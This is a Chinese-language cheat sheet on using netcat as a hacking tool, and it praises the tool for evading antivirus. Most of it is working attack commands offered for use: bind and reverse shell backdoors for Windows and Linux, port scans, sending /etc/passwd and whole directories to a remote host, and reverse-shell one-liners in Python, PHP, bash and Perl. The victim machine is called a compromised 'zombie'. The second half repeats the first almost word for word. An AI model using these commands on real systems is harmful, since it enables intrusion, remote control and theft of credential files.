netcat 黑客们的瑞士军刀,虽然小巧但是其功能一点也不弱,并且该工具天生免杀,值得你去尝试。
NCwindows反弹
1:正向连接
服务器执行:nc -l -p 8888 -e cmd.exe
本地主机执行:nc -vv 服务器ip 8888
2:反向连接
服务器执行:nc -e cmd.exe 公网ip 8888
公网主机执行:nc -lvp 8888
帮助信息
[root@localhost ~]# nc -help
-g <网关> 设置路由器跃程通信网关,最多可设置8个;
-G <指向器数目> 设置来源路由指向器,其数值为4的倍数;
-h 在线帮助;
-i <延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口;
-l 使用监听模式,管控传入的资料;
-n 直接使用IP地址,而不通过域名服务器;
-o <输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存;
-p <通信端口> 设置本地主机使用的通信端口;
-r 乱数指定本地与远端主机的通信端口;
-s <来源位址> 设置本地主机送出数据包的IP地址;
-u 使用UDP传输协议;
-v 显示指令执行过程;
-w <超时秒数> 设置等待连线的时间;
-z 使用0输入/输出模式,只在扫描通信端口时使用。
远程端口探测 连接远程主机的80端口,并获取到该端口的版本信息
lyshark@dell:~$ nc -nv 192.168.1.20 80
实现快速端口扫描 扫描目标主机开放的端口,例如从 70-100 那个端口是开放的
lyshark@dell:~$ nc -nvv -w2 -z 192.168.1.20 70-100 TCP扫描
lyshark@dell:~$ nc -nvv -w2 -z -u 192.168.1.20 70-100 UDP扫描
正向连接后门 正向连接后门,创建正向连接后门,无法过墙
[root@localhost ~]# nc -l -p 9999 -e /bin/sh 肉鸡执行
lyshark@dell:~$ nc -nv 192.168.1.20 9999 服务端执行
反向连接后门 反向连接后门,推荐使用。
[root@localhost ~]# nc -t -e /bin/sh 192.168.1.2 9999
服务端执行 nc -l -p 9999
远程传输文件 远程传输问渐渐,同理,这里不截图了。
[root@localhost ~]# nc 192.168.1.2 9999 < /etc/passwd
lyshark@dell:~/w$ nc -l 9999 > passwd.log
远程传输目录
lyshark@dell:~/w$ nc -l 9999 | tar xzvf -
[root@localhost etc]# tar -czf - * | nc 192.168.1.2 9999
Python 反弹端口
[root@localhost ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
lyshark@dell:~$ nc -lvp 9999
其他反弹端口
php -r '$sock=fsockopen("192.168.1.2",9999);exec("/bin/sh -i <&3 >&3 2>&3");' php 反弹
bash -i>&/dev/tcp/192.168.1。2/9999 0>&1 bash 反弹
perl -e 'use Socket;$i="192.168.1。2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl反弹
# 连接远程主机的80端口,并获取到该端口的版本信息
lyshark@dell:~$ nc -nv 192.168.1.20 80
# 扫描目标主机开放的端口,从70-100 那个端口是开放的
lyshark@dell:~$ nc -nvv -w2 -z 192.168.1.20 70-100 TCP扫描
lyshark@dell:~$ nc -nvv -w2 -z -u 192.168.1.20 70-100 UDP扫描
# 正向连接后门,创建正向连接后门,无法过墙
[root@localhost ~]# nc -l -p 9999 -e /bin/sh 肉鸡执行
lyshark@dell:~$ nc -nv 192.168.1.20 9999 服务端执行
# 反向连接后门
[root@localhost ~]# nc -t -e /bin/sh 192.168.1.2 9999
lyshark@dell:~$ nc -l -p 9999
#远程传输文件
[root@localhost ~]# nc 192.168.1.2 9999 < /etc/passwd
lyshark@dell:~/w$ nc -l 9999 > passwd.log
# 远程传输目录
lyshark@dell:~/w$ nc -l 9999 | tar xzvf -
[root@localhost etc]# tar -czf - * | nc 192.168.1.2 9999
# Python 反弹nc端口
[root@localhost ~]# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
lyshark@dell:~$ nc -lvp 9999
# 其他反弹端口
php -r '$sock=fsockopen("192.168.1.2",9999);exec("/bin/sh -i <&3 >&3 2>&3");' php 反弹
bash -i>&/dev/tcp/192.168.1。2/9999 0>&1 bash 反弹
perl -e 'use Socket;$i="192.168.1。2";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl反弹